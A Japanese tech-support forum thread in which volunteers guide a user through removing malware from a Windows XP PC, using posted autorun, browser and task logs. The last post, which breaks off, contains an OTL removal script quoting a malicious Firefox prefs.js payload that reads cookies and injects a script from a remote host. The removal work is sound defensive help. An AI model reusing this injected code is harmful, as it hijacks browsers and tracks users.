SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
SUPERAntiSpyware SUPERAntiSpyware.com 2014/03/16 5.7.1018
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0


CC各タブのログ


Windows

有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKCU:Run SUPERAntiSpyware SUPERAntiSpyware D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


Internet Explorer

有効 Extension Messenger Microsoft Corporation D:\ProgramFiles\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


Fire Fox

無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 28.0 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 28.0 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin Google Update 1.3.22.3 Google Inc. default Firefox 28.0 D:\ProgramFiles\Google\Update\1.3.22.3\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 28.0 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
有効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 28.0 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 28.0 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.77 Adobe Systems Incorporated default Firefox 28.0 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 28.0 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


Chrome

有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_2


Task

有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task Microsoft Windows XP のサポート終了に関する毎月のお知らせ Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe
有効 Task Microsoft Windows XP のサポート終了のお知らせ ログオン Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe -c
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck



  • wysksun
  • 2014/04/02 (Wed) 13:11:05
返信フォームへ 
Chromeを一度削除します
作業と報告、ご苦労様です。

>まだ処置してから３日で特に異常は出ていませんが
>ＰＣの処理速度は、随分と回復しましたが未だに全快ではありません

はい、ログを見たところ、下記がまだ残ってますね。
>有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_2

おそらくですが、これの最後の壁になっていると思われます。
では以下の説明に沿って、続きの作業をお願いします。

まずChromeのブックマークで必要なものがあれば、ブクマをバックアップ（エクスポート）しておいてください。
Chromeを一度削除するのでその準備です。

準備できたらPCをセーフモードにして、IUを使ってChromeをアンインストールしてください。
続いてATFでゴミファイルの掃除したあと、PCを通常モードで再起動してから、Cドライブを開いて、以下のフォルダがまだ残っていればそれを削除してください。
>C:\Program Files\Google
>C:\Users\【ユーザー名】\AppData\Local\Google
>C:\Users\【ユーザー名】\AppData\LocalLow\Google
探しても見つからないものはスルーでいいです。

これができたらまたACの最新版をダウンロードしてから、またセーフモードでACでのClean作業してください。

再起動後、ACのログを保存したら、Google公式サイトに行ってChrome最新版をダウンロードと再インストールしてから、またしばらく様子見後、CCで各タブのログを取り直して、それを状態報告とともにレスください}
  • 悪代官
  • 2014/04/02 (Wed) 17:48:18
返信フォームへ 
ACのCleanが出来ません。
ご協力ありがとうございます。

Chromeを削除した後、セーフモードで最新のACを試みるもScanはできるのですがCleanが出来ませんでした。

よろしくお願いします。
  • wysksun
  • 2014/04/02 (Wed) 18:41:38
返信フォームへ 
ACは置いときましょう
>Chromeを削除した後、セーフモードで最新のACを試みるもScanはできるのですがCleanが出来ませんでした

はい、わかりました。
ACも時々バグることがあるので、いまはそのままにしておいてください。

ではChromeの再インストできたなら、しばらく様子見後に、CCでの各タブのログを取り直して、それを状態報告とともにレスください
  • 悪代官
  • 2014/04/02 (Wed) 19:12:43
返信フォームへ 
CCでの各タブのログ
ご協力ありがとうございます。

取り直したCCでの各タブのログになります。


windows

有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKCU:Run SUPERAntiSpyware SUPERAntiSpyware D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


Internet Explorer

有効 Extension Messenger Microsoft Corporation D:\ProgramFiles\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


Fire Fox

無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 28.0 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 28.0 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 28.0 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
有効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 28.0 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 28.0 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 28.0 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.77 Adobe Systems Incorporated default Firefox 28.0 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 28.0 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


Chrome

有効 App Gmail 7 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_1
有効 App Google 繝峨Λ繧､繝・ 6.3 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.3_0
有効 App Google 讀懃ｴ｢ 0.0.0.20 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_0
有効 App YouTube 4.2.6 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.6_0
有効 Extension Google 繝峨く繝･繝｡繝ｳ繝・ 0.5 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.5_0
有効 Extension Google 繧ｦ繧ｩ繝ｬ繝・ヨ 0.0.6.1 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
無効 Extension RealDownloader 1.3.3 譛€蛻昴・繝ｦ繝ｼ繧ｶ繝ｼ C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji\1.3.3_0


Task

有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task Microsoft Windows XP のサポート終了に関する毎月のお知らせ Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe
有効 Task Microsoft Windows XP のサポート終了のお知らせ ログオン Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe -c
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck


状態報告
処理前後で特に変わったところはありません。


よろしくお願いします。
  • wysksun
  • 2014/04/03 (Thu) 13:28:24
返信フォームへ 
ちょっと確認です
またレスが遅くなってすみません。
各ログを見せてもらいました。

>処理前後で特に変わったところはありません

はい、ログでもおかしなところは見えませんね。
あとはACが詰まるのが引っかかります。

一応またACを使ってスキャンとClean作業できるかを再試行してみてください。
これで処置ができれば、そのあとのログをまた見せてください。

ですがACがまた詰まるなら、ACはアンインストールしていいです。

それとちょっと確認です。
下記のアプリはご自身で入れたものでしょうか？
>iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11

ご自身で入れたならいいのですが、もし覚えもないのに入っていたならこれをセーフモードでIUを使ってアンインストールしてください。
  • 悪代官
  • 2014/04/03 (Thu) 16:45:03
返信フォームへ 
Re: ちょっと確認です。
ご協力ありがとうございます。

>iExplorer 2.2.1.3 Macroplant, LLCをセーフモードでIUを使って削除した後、

ACをアンインストールしてから、もう一度最新版ACにして試しましたが、Cleanで止まったままです。


よろしくお願いします。
  • wysksun
  • 2014/04/05 (Sat) 17:27:32
返信フォームへ 
MBAMとSASで再スキャンを
悪代官さんがご多忙のため、つながせていただきます。
以前のMBAMとSASの作業からずいぶんと日数が経過しておりますので、
今一度MBAMとSASによるフルスキャンを行ってみましょう。

以下が最新版のMBAMとSASのダウンロード先です。
MBAM
http://malwarebytes-anti-malware.softonic.jp/download?ptn=malwarebytes

SAS
http://www.superantispyware.com/downloadfile.html?productid=SUPERANTISPYWAREFREE

最新版でのフルスキャンが完了しましたら、ログを貼り付けてご連絡ください。
  • IVNO
  • 2014/04/05 (Sat) 18:58:18
返信フォームへ 
Re: MBAMとSASで再スキャンを
ご協力ありがとうございます。

最新のMBAMで脅威スキャンをセーフモードで試みると
最後の項目のヒューリスティック分析で止まってしまい、それ以上先に進みません。

４月２日に旧バージョンのMBAMではスキャンできました。

よろしくお願いします。
  • wysksun
  • 2014/04/06 (Sun) 19:01:16
返信フォームへ 
スキャン設定の変更を
作業と報告、ご苦労様です。

>ヒューリスティック分析で止まってしまい、それ以上先に進みません。

>４月２日に旧バージョンのMBAMではスキャンできました。

MBAMですが、先日バージョンアップしたらいろいろと操作や仕様で不都合の悪評が出ています。
とりあえず以下の手順で設定変更してください。

MBAM起動して「設定」タブの「検出と保護」を開いて、そこで「高度なヒューリスティック」のチェックを外してから、その状態で再度スキャンしてください。

これでスキャンできたら、またその結果をレスください
  • 悪代官
  • 2014/04/06 (Sun) 19:25:59
返信フォームへ 
Re: スキャン設定の変更を
ご協力ありがとうございます。

MBAMの「高度なヒューリスティック」のチェックを外してから再度スキャンしましたが、状態は変わらずにヒューリスティックス分析の段階で、いつまでも終わりませんでした。


よろしくお願いします。
  • wysksun
  • 2014/04/06 (Sun) 22:30:42
返信フォームへ 
やはりMBAM最新版は安定してないんでしょうか
またレスが遅くなってすみません。
MBAMはどうもうまく動作しませんか。
確かに先日のバージョンアップ以降、MBAMはいろいろ使い勝手が変わって、PC環境によってもなんだか違った症状が出るようです。
自分の環境では今のところ不具合というような症状は出てないのですが、とりあえずMBAMは置いときましょう。
MBAMとSASはセーフモードでアンインストールしてください。MBAMはIUを使ってアンインストールを。

これができたら、先に使ったAC最新版をまた公式からダウンロードして、セーフモードでClean作業してそのログを保存後、通常モードでCCを起動して、「Windows」以下の各タブのログと、HJTとインスト情報ログも取り直して、それらのログをレスで見せてください
  • 悪代官
  • 2014/04/07 (Mon) 18:10:45
返信フォームへ 
AC最新版でもうまくいきません。
ご協力ありがとうございます。

何度も試しましたが、今日またAC最新版をダウンロードしてセーフモードで試してみましたが
変わらずにScanは出来ますがCleanの中途で止まってしまいます。


よろしくお願いします。
  • wysksun
  • 2014/04/08 (Tue) 12:02:34
返信フォームへ 
ではOTLでまたスキャンを
今日もレスが遅くなってすみません。
ACはうまく動作しませんか。
MBAMとACがともに動作しないというのは、よくない可能性としてはPC内に入り込んだものが阻害している疑いもありますね。
これはあくまで最悪の可能性で、そこまで危険なものが入っていたらPCの動作も明らかにおかしくなっているはずだし、ここまでの各種作業でも糸口は出ているでしょう。

では作業を切り替えましょう。
先に使ったOTLで、またスキャンだけしてみてください。
スキャンできたらそのログをまたレスで見せてください。

それとCCでの各タブのログも取り直して、それも見せてください。

処置したそばから再感染や新たな感染している事例も多く出ているので、面倒でしょうがひとつずつ調べてみましょう
  • 悪代官
  • 2014/04/08 (Tue) 18:43:34
返信フォームへ 
Re: ではOTLでまたスキャンを
ご協力ありがとうございます。

先程、目安箱の方にＯＴＬのログを送らせて頂きました、
ご確認ください。

  • wysksun
  • 2014/04/08 (Tue) 22:23:56
返信フォームへ 
今回の作業が最後の賭けになります
作業と報告、ご苦労様です。
OTLログを見せてもらってわかりました。
やはりまた感染してます。それもかなり食い込んでます。
今度はブラウザのFirefoxを中心にやられてますね。

処置にかかる前に案内しておきます。

今回のログでわかりましたが、ネット上から多数の動画をダウンロードしてますね。
おそらくそれらに仕込まれたマルウェアが原因です。
P2Pを使っても使わなくても、怪しいところからそれも著作権上問題あるようなファイルを拾っては感染受けないほうが稀です。

ここ数か月でネット上からダウンロードした動画等は全部削除してください。よほど信頼できて法的にも問題ないファイルを除いて全部です。

削除できたらまたOTLで処置にかかります。
今度の作業がおそらく最後の勝負になるでしょう。これでも処置できないか、処置後に再発するならもうリカバリ不可避と承知しておいてください。

先の手順でまたセーフモード状態でOTLを起動して、下記のスクリプトを貼り付けて「Run fix」作業してください。
作業後にログを保存したらしばらく様子見後、作業後のOTLログとともに状態報告をレスください。
念押ししますが、今回の作業が最後の賭けになると思ってください
------------------------------------------------
:OTL
FF - prefs.js..extensions.7Af3nsdm.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};try{if(typeof(localStorage)!='undefined' && window.self.location.hostname.indexOf('youtube')>-1){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wlst={lsKey:\"ssjsmn2ja8ddw2a\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\"www.\",\"\"));try{var c=document.createElement(\"script\");c.type=\"text/javascript\";try{c.async=\"async\"}catch(e){}c.src=\"http://v.zilionfast.in/\"+crc+\"/?t=vrt\";(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\"undefined\"!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\"=\"),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\";\",c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\"0x\"+\"00000000 77073096 